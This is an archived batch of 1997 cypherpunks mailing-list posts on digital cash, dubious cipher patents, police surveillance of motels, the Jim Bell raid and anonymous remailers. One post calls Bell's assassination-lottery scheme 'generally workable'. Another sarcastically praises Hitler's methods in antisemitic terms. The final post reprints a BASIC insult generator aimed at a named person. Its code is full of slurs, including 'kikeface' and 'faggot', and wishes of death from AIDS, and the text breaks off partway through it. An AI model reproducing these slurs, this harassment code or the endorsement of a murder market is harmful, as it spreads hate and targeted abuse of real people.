Fax: +65 745 2731                 Fax: +61 2 375 2121
email: craig@digicash.com         email: andreas@digicash.com


          (DigiCash and ecash are registered trademarks
            and should always be referred to as such)

                               * * *

               DigiCash: Company background (summary)
               ======================================

     Founded in 1990, DigiCash is the leading pioneer in the
development of electronic payment systems that provide security and
privacy. Available for open, and closed systems and network use,
DigiCash's products are based on patented developments in public key
cryptography devised and owned by Dr. David Chaum.

     DigiCash's first product was DyniCash, a road-toll system
capable of collecting fees from pre-paid smartcards carried on
moving vehicles that was developed for the Dutch government.

     In recent years increasing media attention has been focused on
ecash(tm), DigiCash's software-only form of electronic cash developed
especially for use on the Internet. It can be used online (via the
World Wide Web) or via email, and is suitable for implementation
with many other digital media. There are already five ecash-issuing
banks on the Internet and a rapidly growing number of cyber-
merchants. With enthusiastic responses from financial institutions
interested in ecash-licenses for the future, and the continuing
support of industry opinion-makers, the company's team of experts is
now making presentations around the world.

     Banks already supporting- or issuing ecash(tm) include: Mark
Twain Bank (Missouri, USA), Merita Bank/EUnet (Finland), Deutsche
Bank (Germany) and Advance Bank (Australia).

     DigiCash's leading position in cryptographic technology has
already enabled it to develop smartcards for a diverse range of
applications including CAFE, the smartcard-based payment system
operated by the Headquarters of the EU in Brussels. The CAFE project
started as a scientific project (ESPRIT) funded by the EU, just one
of the several EU technology projects with which DigiCash has been
involved, and designed smartcards that feature pre-paid cash
replacement functions, loyalty schemes and access control.

Founder: Dr. David Chaum
------------------------
     Dr. David Chaum, Founder and Chief Technical Officer of
DigiCash, received his Ph.D. in Computer Science from the University
of California at Berkeley, then taught at New York University
Graduate School of Business Administration and at the University of
California, and headed the Cryptography Group at CWI, the Dutch
nationally-funded centre for research in mathematics and computer
science, before taking his current position. He has published over
45 original technical articles on cryptography and also founded the
International Association for Cryptologic Research.

DigiCash Products
-----------------
     Facility Card: Complete Facility Management Smart-Card/Reader
System Cash replacement, access control, and time/attendance system;
now in schools, hospitals, industry, offices, recreation; interfaces
to vending machines, point-of-sale, access control, copiers, phones,
gaming; Downloadable & upgradeable card-readers work on-line and/or
offline; There are already over 120,000 cards in use in the
Netherlands.

     Mars Electronics International licensed the DigiCash facility
management system technology in 1996, and incorporated it into their
`Multicard Smart' product line which was launched worldwide in
January 1997.

     Blue: Smart Card Technology For EMV & Prepaid With Dynamic
Public Key. Conforms to joint Europay, MasterCard, Visa
specifications. Multiple applications, including loyalty and closed
systems. Superior data integrity in case of malicious or accidental
interference or interruption.

     Requires only the smallest and most proven chips, e.g. SC-24 or
ST601. Mask technology licensing.

For more information on ecash please contact DigiCash.
info@digicash.com, http://www.digicash.com/, fax: +31 20 592 9999

------------------------- END PRESS RELEASE -------------------------



--
Andreas Furche					Level 29 The Chifley Tower
Managing Director				2 Chifley Square
DigiCash Pty. Ltd.				Sydney 2000, Australia
e-mail: andreas@digicash.com			ph  +61 2 9375 2316
mobile (0419) 385 569 (NEW number!)		fax +61 2 9375 2121



-------------------------------------------------------------------------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 3 Apr 1997 12:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Is this snake-oil?
Message-ID: <199704032041.MAA14728@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain




I ran across this web page: http://www.da.com/swp.htm.
They claim their 'Cyber-stone' scheme uses a "Pseudo-random
Transposition Cipher" to vary the keys for an underlying
symmetric cipher for each message.  They also claim
to have a patent on changing the keys for each message (which
seems like something on the level of patenting the 'help' key on
a keyboard, or the blinking block cursor.  Sigh).

I ask if it's snake oil because of the use of non-standard terminology
and marketing bullstuff like "A New Way of Encrypting".  However neither
of those are anywhere near proof of uselessness, only an indication
that's "food for thought and grounds for further research".

They claim patents:
5,307,412, "Random Coding Cipher System and Method"
5,335,280, "Random Sum Cipher System and Method"
5,533,128, "Pseudo-Random Transposition Cipher System and Method"

-- 
   Eric Murray  ericm@lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 3 Apr 1997 12:27:56 -0800 (PST)
To: die@die.com
Subject: Re: BIG BROTHER (qoute without comment)
In-Reply-To: <199704030636.BAA12147@pig.die.com>
Message-ID: <3344082E.2485@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Dave Emery wrote:
> 
>  I got up very early one morning and turned on my scanner and heard the
>  police that serve the warrants ("We like to pick up everyone before
>  breakfast" is a quote from a local warrant server). The dispatcher said
>  that the FBI had located a friend of mine who was staying in a local
>  Motel 6 and that there was a warrant for his arrest. He was picked up
>  (it was a mistake) and when he asked how they knew he was there, they
>  told him that Motel 6 gives their guest list to the FBI every day. I
>  could not belive this! I told him that there was any number of ways
> that
>  they could have found him. But about a week ago, I heard one of the
>  warrant servers say something about Motel 6 and their FBI arrangement.

Dave,
  Around 20 years ago, I found out that the RCMP, during the course
of their evening shifts, regularly cruised motel parking lots, taking
down all of the license numbers and running checks on them.
  I found this out from first-hand experience, waiting to be booked
for the crime of having a name vaguely similar to someone they were
looking for.

  I have no doubt that many law enforcement agencies, including the
RCMP (Royal Canadian Mounted Police for you non-frostbacks), have
made this kind of prying more efficient by enlisting the aide of
the motel management in their quest to follow every movement of
everyone, everywhere, at all times (except during donut-breaks).
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 3 Apr 1997 13:43:05 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com>
Message-ID: <Pine.GSO.3.96.970403133334.29361A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 3 Apr 1997, Greg Broiles wrote:

> A southern Washington newspaper, The Columbian (apparently published in
> Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of
> its front page at http://www.columbian.com (you'll have to pick the frame for
> "The latest Columbian headlines") - and today's page one above-the-fold
> headline is "Affidavit: Internet essay solicits murder". 

I have the Columbian with the front page articles.  (They have two.  One
titled _Federal agents 'overreacting,' says Vancouver target of raid_ and
the other titled _Assassination scheme on Internet_.)  The articles are in
the Columbian's standard style. (i.e. slanted towards sensationalizm and
general tabloid sleeze with lots of quotation marks.)

> It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
> haven't seen him write anything that I thought was criminal. 

What is "Criminal" is getting more and more broad.  (My personal belief is
that if the Government wanted to discredit AP they would just send Mr.
Bell on a speaking tour.)

Maybe the raid was just making an "example" as to what could happen to
those who threaten the state. (No matter how badly.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 3 Apr 1997 12:28:16 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: q.N2
In-Reply-To: <199704030313.DAA17299@mailhub.amaranth.com>
Message-ID: <33440C0B.1605@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> >       I m going to give you some examples:
> 
> Well these are some of the straw-men that get pulled out whenever the
> Government wishes to clamp down on the rights & freedoms of it's citizens.
> Whenever you here the buzz-phrases: "save the children" this means "take
> away more of your rights" & "terrorist" means "anyone opposed to the
> policies of the current administration". -- Translations form the "George
> Orwell NewSpeak Dictionary published 1984."
> 
> >       1) I heard about several cases about individuals who use the Internet
> >to attract children who are then raped and murdered, kidnapped and sold
> >on the black market, many of these pediophiles work out in open in
> >complete anonimaty, due to the structure of the Internet and many
> >service providers.

  And I heard about the Jews killing Jesus, using the Torah
as their authority.
  Many of these Jews work out in the open, under authority of the
Torah, due to the structure of their religion and many Jewish
Rabbi's.

  Perhaps we need to pass some legislation to ensure that 
Jesus will be safe from Jews when he comes back.
  Hitler was misunderstood. He was merely protecting the citizens
from Jews. The fact that Hitler's methods were so successful suggests
that these methods can be effectively used agains drug dealers and
pornographers.
  Anyone disguising their activities by using encryption probably
have Jews, drug dealers and pornographers hidden in their basement.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bomber@globalpac.com (bomber)
Date: Thu, 3 Apr 1997 14:52:04 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Keaton's Remailer Applet
In-Reply-To: <334424B2.546C@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.95.970403144738.5736A-100000@peeboy>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 3 Apr 1997, Toto wrote:

> Ulf Möller wrote:
> > Geoff Keaton's remailer applet has just been released under GPL
> > license, with source code.  Mixmaster applet soon to come.  That's
> > strong anonymity at a mouse click.  Sending anonymous mail never
> > has been easier.
> 
>   Good news. Do you have a pointer to it?
> -- 
 
a quick search at altavista showed:

http://www.ozemail.com.au/~geoffk/anon/anon.html


cheers,
	Tony. 


---------------------------------------------
Did you hear that two rabbits escaped from the zoo and so far they have
only recaptured 116 of them?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 3 Apr 1997 13:04:28 -0800 (PST)
To: dcsb-announce@ai.mit.edu
Subject: DCSB: Stewart Baker (one more time...) on Clinton AdministrationCrypto Policy and   Digital Commerce
Message-ID: <v03020923af69b5ce09f9@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


No, there is *not* an echo in here...


                 The Digital Commerce Society of Boston

                              Presents
                              (Again!)
                           Mr. Stewart Baker,
                           Steptoe & Johnson
         formerly General Counsel, the National Security Agency

            (who, along with the staff of the Harvard Club,
        was unable to get into Boston for April's DCSB meeting
              because of the April Fool's day snowstorm...)

         "The Clinton Administration's Latest Encryption Policy
                and What It Means for Digital Commerce"



                        Tuesday, May 6, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Baker will discuss the details of the Clinton Administration's latest
encryption policy, which seeks to encourage "key recovery" encryption by
offering special export privileges to companies that support key-recovery
systems.  He will also discuss the reaction of American high-tech
companies, foreign governments and consumers.

Mr. Baker, formerly General Counsel of the National Security Agency, has an
international and technology practice at Steptoe & Johnson in Washington,
DC. He is a frequent contributor to WIRED and other publications on topics
such as encryption, national security and Internet law.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, May 6, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 3, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

NOTE: If we already have your check for April, and you're still coming, you
*don't* need to send another one. :-)

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

June      Philip A. DesAutels  W3C Digital Signature Initiative
July      Win Treese           TLS, Digital Commerce, and Export Issues
August    Duncan Frissell*     MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy*       Military Fiat and Digital Commerce

*Invited

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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Version: 2.6.2

iQEVAwUBM0QTIMUCGwxmWcHhAQHuDAf9FGyN9YiBVE8mSr9ylcFu2uiF2kDA38P0
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dvcLiHfj/hj1VMk2eIWGXJa+3169gO51r90yimG6AQo6HzF8KG1sZb0pwvkPUGhB
G74ac/3T1KPAbX+t8KHYgULlci8l8dwoRmPj7p4EKBHyMTJKHZTVHTkjIK3gYo+2
UaDlp4qdoeCykkeZPf7cqof6etXzbts4+dF7TkoiiRNKfF/tu7eEzZQnLbAVf1br
Rx6VWG8OJXcPXcHCUSOCNjSva1E6f1yJNj2iwG3HmPBn6+fkw3kZ+A==
=tTIg
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 14:29:14 -0800 (PST)
To: Ulf Möller <um@idril.shnet.org>
Subject: Keaton's Remailer Applet
In-Reply-To: <m0w21nx-0003b9C@ulf.mali.sub.org>
Message-ID: <334424B2.546C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ulf Möller wrote:
> Geoff Keaton's remailer applet has just been released under GPL
> license, with source code.  Mixmaster applet soon to come.  That's
> strong anonymity at a mouse click.  Sending anonymous mail never
> has been easier.

  Good news. Do you have a pointer to it?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Thu, 3 Apr 1997 12:45:02 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com>
Message-ID: <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 3 Apr 1997, Greg Broiles wrote:

-> A southern Washington newspaper, The Columbian (apparently published in
-> Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of
-> its front page at http://www.columbian.com (you'll have to pick the frame for
-> "The latest Columbian headlines") - and today's page one above-the-fold
-> headline is "Affidavit: Internet essay solicits murder".
-> 
-> It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
-> haven't seen him write anything that I thought was criminal.

I read the essay when it was published (a year or two ago?).  As I remember
it, it simply extrapolated the consequences of encryption and anonymity to
their logical conclusions.  Specifically, that social control could be
exerted through a "lottery" for "predicting" the dates of death for certain
unpopular politicians.  He stressed the untraceability, unaccountability,
and as far as possible, legality of everything proposed in his essay.

There was some debate concerning the essay which I did not follow.  So, I
don't know what concensus was finally reached.  But, his proposal seemed
generally workable to me.  I would definately not consider the essay to
be evidence of him being a "goddamn loon" anymore than Greg Broiles' post
being evidence of him being a goddamn idiot.  However, the majority of the
public who form their oppinions through newpaper headlines and the like 
certainly are.

Jim Bell's essay is, IMO, definately free speech.  And, as you can see from
the IRS Inspection report, he was not charged with anything relating to the
essay itself.  In fact, the raid happened a long time after he published
the essay, and may truely be unrelated.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 3 Apr 1997 13:55:59 -0800 (PST)
To: Toto  <toto@sk.sympatico.ca>
Subject: Re: BIG BROTHER (qoute without comment)
In-Reply-To: <199704030636.BAA12147@pig.die.com>
Message-ID: <3.0.1.32.19970403163132.007d3210@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:42 PM 4/3/97 -0600, you wrote:
|
|I found this out from first-hand experience, waiting to be booked
|for the crime of having a name vaguely similar to someone they were
|looking for.

This is believable; in Georgia and many other southern states many men are
named Bubba.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0QhsCKJGkNBIH7lAQGKIQQAq4I7lHTvRRlxtGtpRq5twMYp4Nxixqdh
291dWEPDYrKkrHsh5meoNo7oxd/a5rBoEWXBXog1hU05EzKxruS0uKWwDFborsEd
ARAmExDOiwfJxgsb4QGaytiTZ6A8+9m/ECMclqXnC1eegSWj4659/7HjQdIu01EJ
yoJZmG0MpYE=
=mNw/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Thu, 3 Apr 1997 16:36:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Uh, huh huh, ignore this test.
Message-ID: <199704040032.QAA00354@swan>
MIME-Version: 1.0
Content-Type: text/plain


Uh huh, huh, this is a test, ignore it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John R Levine <johnl@iecc.com>
Date: Thu, 3 Apr 1997 13:50:50 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Is this snake-oil?
In-Reply-To: <199704032041.MAA14728@slack.lne.com>
Message-ID: <Pine.BSI.3.91.970403165151.16597C-100000@ivan.iecc.com>
MIME-Version: 1.0
Content-Type: text/plain


Visit http://patent.womplex.ibm.com/ and learn all about it.  I don't 
claim to know much about cryptography, but these sure look like garbage 
to me.

> 5,307,412, "Random Coding Cipher System and Method"
> 5,335,280, "Random Sum Cipher System and Method"

Sender and receiver share what should be a one-time pad, with a trailer on
each encrypted each message saying where in the pad to start next time.  I
don't see any advantage compared to the standard approach of using your pad
sequentially other than that this scheme makes it harder to tell when it's
used up. 

> 5,533,128, "Pseudo-Random Transposition Cipher System and Method"

Sender and receiver initialize their set of pseudo-random number generators
to the same secret thing and use the generated streams of digits to control a
transposition cipher.  Sheesh. 

I didn't look at the full patents, just the summaries, so I may have missed
something.  Please look at the patents themselves before flaming.  

The IBM web site is a fabulous resource -- they have a CD-ROM farm that
provides scanned page images of all the patents issued for the past several
decades.  Also check out the gallery of obscure patents, e.g., the human
slingshot, and the microprocessor controlled belching beer mug. 

Regards,
John Levine, johnl@iecc.com, Village Trustee, Trumansburg NY
Primary Perpetrator of "The Internet for Dummies" and
Information Superhighwayman wanna-be, http://iecc.com/johnl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 3 Apr 1997 18:06:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No, it's PayWord, no, it's MicroMint, no, it's...
In-Reply-To: <199703272018.MAA00322@crypt.hfinney.com>
Message-ID: <5i1ncg$v8m@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <199703272018.MAA00322@crypt.hfinney.com>,
Hal Finney  <hal@rain.org> wrote:
> It appears that MicroMint is jointly by Rivest and Shamir.  It is described
> at:
> 
> http://theory.lcs.mit.edu/~rivest/RivestShamir-mpay.ps
> 
> This also describes PayWord.  Both schemes are designed for lightweight
> payments.  PayWord uses a chained hash concept similar to s/key and to
> Micali's lightweight signature revalidations.  MicroMint is as I described,
> literally a "minting" of coins, with similar economies of scale to real
> mints.
> 
> Neither one appears suitable for anonymous payments.

Wow, a perfect straight line.  I couldn't ask for better.

Actually, I posted to sci.crypt.research a while ago about how to adapt
Rivest and Shamir's PayWord scheme to do anonymous micropayments; see
	http://www.cs.berkeley.edu/~daw/my-posts/anon-micropayments

In short, instead of asking the bank for a hash stick and a signature on
the top of the stick, you get a blind signature on a top of a stick you've
generated yourself.  Then you patch up some issues (like double-spending)
that the anonymity raises.

Sadly, it's got a problem that'd probably be a killer for practical
deployment -- it's got the same patent problems that ecash has.  Sigh.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shift.control@nml.guardian.co.uk (Shift Control)
Date: Fri, 4 Apr 1997 00:32:11 -0800 (PST)
To: shiftcontrol@nml.guardian.co.uk
Subject: CENSORED CENSORED
Message-ID: <v01530504af69a7820fd8@[194.205.4.69]>
MIME-Version: 1.0
Content-Type: text/plain


In this week's special Censorship Issue Shift Control...

"The US is decidedly more robust about censorship. For starters, any art
using the American flag is banned automatically (it's in the Constitution,
alongside all that stuff about freedom of speech)." - Lisa Jardine on
Western "liberalism".

"In the movies,as in advertising, cars have played a strategic role
sex-wise: when Hollywood rotated the gender wars through 180° in 'Thelma
and Louise', it was female possession of the car - and of driving skills -
that became the dominant and ultimately liberating motif." - Robin Hunt on
Cronenberg's 'Crash'.

"Fans of the 'Eastenders' will never forget last year's Blackpool episodes,
which reached a riveting climax when Tony, the sexually confused ex-drug
dealer, kisses Simon - his pregnant girlfriend's brother. Great stuff, but
viewers were actually prevented from witnessing the full smacker. New BBC1
controller Michael Jackson made a last-minute decision to cut the kiss down
from a lingering two-second smooch to a measly half-second peck." Paul
Robinson on the history of censorship.

Plus our new daily film section, a pre-millennial global singalong, Freebee
the animated bee, the coolest shoes in the world, free books and CDs, and
your last chance to win 200 quid in our fiction competition.

It's all waiting, unexpurgated, at
http://www.shiftcontrol.com
------------------------------------------------------------------

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 17:27:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Bot-generated insults
In-Reply-To: <199704030142.TAA16223@manifold.algebra.com>
Message-ID: <La2L5D44w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> It is much safer to rely on premail and NOT to send out any cleartext.
>
> Otherwise, the script is good. I think though that it should also be able to
> choose ASCII pictures separately. Maybe it can be generalized to choosing
> several paragraphs from a list of available ones. I also think that the
> list of insults may be common to several victims.

Some years ago I used to be engaged in a flame war with a lying thieving
sovok named Vladislav Rottenberg, who at the time worked for SRI. Vlad used
to post bizarre lies about me on Usenet, like, he claimed that I applied for
a job at SRI and that Vlad made sure I wouldn't be hired. (This is 100% b.s.
- I never in my life considered working for SRI.) Vlad was the inspiration
for both Rabbi Shlomo Ruthenberg and for SimVlad, the alleged AI simulation
program that generated text very similar to Vlad's own writing. I wrote it
in Basic because, I said, I wouldn't debase LISP or any other real language
with such a project.


This file was dated 1/93, but I think it's much older. All the
quotes really came from Vlad.

DEFINT A-Z
RANDOMIZE TIMER
O$ = ""
s$ = "This program, 'SimVlad', is an artificial intelligence ": GOSUB O
s$ = "(stupidity?) simulation of a typical Soviet emigre": GOSUB O
GOSUB period
FOR i = 1 TO 35
GOSUB badguy
GOSUB bgaction
GOSUB period
NEXT i
GOSUB par
END

par:
s$ = "": GOSUB O
RETURN

period:
a = INT(RND * 6)
IF a = 0 THEN
s$ = "!!! ": GOSUB O
ELSEIF a = 1 THEN
s$ = "! ": GOSUB O
ELSE
s$ = ". ": GOSUB O
END IF

a = INT(RND * 20)
IF a = 0 THEN
GOSUB par
END IF

RETURN

badguy:

x = INT(RND * 19)
IF abadguy = x THEN GOTO badguy
abadguy = x

IF abadguy = 0 THEN
s$ = "Dimitri": GOSUB O
ELSEIF abadguy = 1 THEN
s$ = "Dmitry": GOSUB O
ELSEIF abadguy = 2 THEN
s$ = "Vulvis": GOSUB O
ELSEIF abadguy = 3 THEN
s$ = "Vulgaris": GOSUB O
ELSEIF abadguy = 4 THEN
s$ = "Vilus": GOSUB O
ELSEIF abadguy = 5 THEN
s$ = "Dima": GOSUB O
ELSEIF abadguy = 6 THEN
s$ = "Dimochka": GOSUB O
ELSEIF abadguy = 7 THEN
s$ = "The wonder child from CUNY": GOSUB O
ELSEIF abadguy = 8 THEN
s$ = "Yasser 'Vulis' Arafat": GOSUB O
ELSEIF abadguy = 9 THEN
s$ = "The typical Soviet emigre": GOSUB O
ELSEIF abadguy = 10 THEN
s$ = "Doghead": GOSUB O
ELSEIF abadguy = 11 THEN
s$ = "That stupid faggot": GOSUB O
ELSEIF abadguy = 12 THEN
s$ = "'Goy Boy'": GOSUB O
ELSEIF abadguy = 13 THEN
s$ = "Fucking 'mudak'": GOSUB O
ELSEIF abadguy = 14 THEN
s$ = "That shiksa": GOSUB O
ELSEIF abadguy = 15 THEN
s$ = "Dimitri 'Agric' Vulis": GOSUB O
ELSEIF abadguy = 16 THEN
s$ = "Vladimir Ulyanov (Vulis)": GOSUB O
ELSEIF abadguy = 17 THEN
s$ = "The incomparable Mr. Vulis": GOSUB O
ELSEIF abadguy = 18 THEN
s$ = "Arf-Vulis": GOSUB O
END IF

RETURN

bgaction:

x = INT(RND * 40)
IF abgaction = x THEN GOTO bgaction
abgaction = x

IF abgaction = 0 THEN
s$ = " don't speak the English": GOSUB O
ELSEIF abgaction = 1 THEN
s$ = " can and will to use anything I say against me": GOSUB O
ELSEIF abgaction = 2 THEN
s$ = " prevented me from getting job at CUNY": GOSUB O
ELSEIF abgaction = 3 THEN
s$ = " clearly hates me": GOSUB O
ELSEIF abgaction = 5 THEN
s$ = " has vowed to urinate on my grave": GOSUB O
ELSEIF abgaction = 4 THEN
s$ = " should learn some English by now": GOSUB O
ELSEIF abgaction = 5 THEN
s$ = " cheats on welfare": GOSUB O
ELSEIF abgaction = 6 THEN
s$ = " buys caviar with foodstamps": GOSUB O
ELSEIF abgaction = 7 THEN
s$ = " snorts speed and seaweeds": GOSUB O
ELSEIF abgaction = 8 THEN
s$ = " violates Usenet etiquette": GOSUB O
ELSEIF abgaction = 9 THEN
s$ = " has sold his soul to anti-Semitic yellow press": GOSUB O
ELSEIF abgaction = 10 THEN
s$ = " voted for Bush": GOSUB O
ELSEIF abgaction = 11 THEN
s$ = " voted for Clintor": GOSUB O
ELSEIF abgaction = 12 THEN
s$ = " discusses his genitals in his Usenet postings": GOSUB O
ELSEIF abgaction = 13 THEN
s$ = " has applied for a job here, but I turned him down": GOSUB O
ELSEIF abgaction = 14 THEN
s$ = " was conceived during an anal intercourse": GOSUB O
ELSEIF abgaction = 15 THEN
s$ = " epitomizes Zionist aggression": GOSUB O
ELSEIF abgaction = 16 THEN
s$ = " buys vodka with counterfeit money he makes": GOSUB O
ELSEIF abgaction = 17 THEN
s$ = " picks his nose and posts the findings to Usenet": GOSUB O
ELSEIF abgaction = 18 THEN
s$ = " should be tarred and feathered": GOSUB O
ELSEIF abgaction = 19 THEN
s$ = " must be silenced": GOSUB O
ELSEIF abgaction = 20 THEN
s$ = "'s Usenet account should be taken away": GOSUB O
ELSEIF abgaction = 21 THEN
s$ = " proudly boasts of his oversized penis": GOSUB O
ELSEIF abgaction = 22 THEN
s$ = " forges Usenet postings from unsuspecting victims": GOSUB O
ELSEIF abgaction = 23 THEN
s$ = " lies in his resume": GOSUB O
ELSEIF abgaction = 24 THEN
s$ = ", eat shit and die from AIDS": GOSUB O
ELSEIF abgaction = 25 THEN
s$ = " pollutes Usenet with his profane writings": GOSUB O
ELSEIF abgaction = 26 THEN
s$ = " terrifies people with his foul language": GOSUB O
ELSEIF abgaction = 27 THEN
s$ = " provokes others into vicious flame wars": GOSUB O
ELSE
s$ = " is": GOSUB O
GOSUB bgis
END IF

RETURN

bgis:

x = INT(RND * 17)
IF abgis = x THEN GOTO bgis
abgis = x


IF abgis = 0 THEN
s$ = " a KGB agent": GOSUB O
ELSEIF abgis = 1 THEN
s$ = " a rabid dog": GOSUB O
ELSEIF abgis = 2 THEN
s$ = " an antisemite": GOSUB O
ELSEIF abgis = 3 THEN
s$ = " a card carrying member of PLO and der Shalom Achshav": GOSUB O
ELSEIF abgis = 4 THEN
s$ = " 'gavno'": GOSUB O
ELSEIF abgis = 5 THEN
s$ = " an uncircumcized hazer": GOSUB O
ELSEIF abgis = 6 THEN
s$ = " a drug pusher": GOSUB O
ELSEIF abgis = 7 THEN
s$ = " just a zhlob from Odessa": GOSUB O
ELSEIF abgis = 8 THEN
s$ = " too much of a shiksa": GOSUB O
ELSEIF abgis = 9 THEN
s$ = " a typical 'sovok'": GOSUB O
ELSEIF abgis = 10 THEN
s$ = " too stupid to appreciate my postings": GOSUB O
ELSEIF abgis = 11 THEN
s$ = " full of shit, and smells like it too": GOSUB O
ELSEIF abgis = 12 THEN
s$ = " mentally retarded": GOSUB O
ELSEIF abgis = 13 THEN
s$ = " a kikeface": GOSUB O
ELSEIF abgis = 14 THEN
s$ = " what you get when you cross a vulva and a penis": GOSUB O
ELSEIF abgis = 15 THEN
s$ = " a reform devil worshipper": GOSUB O
ELSEIF abgis = 16 THEN
s$ = " a typical product of anal intercourse": GOSUB O
END IF

RETURN

O:
IF s$ = "" THEN
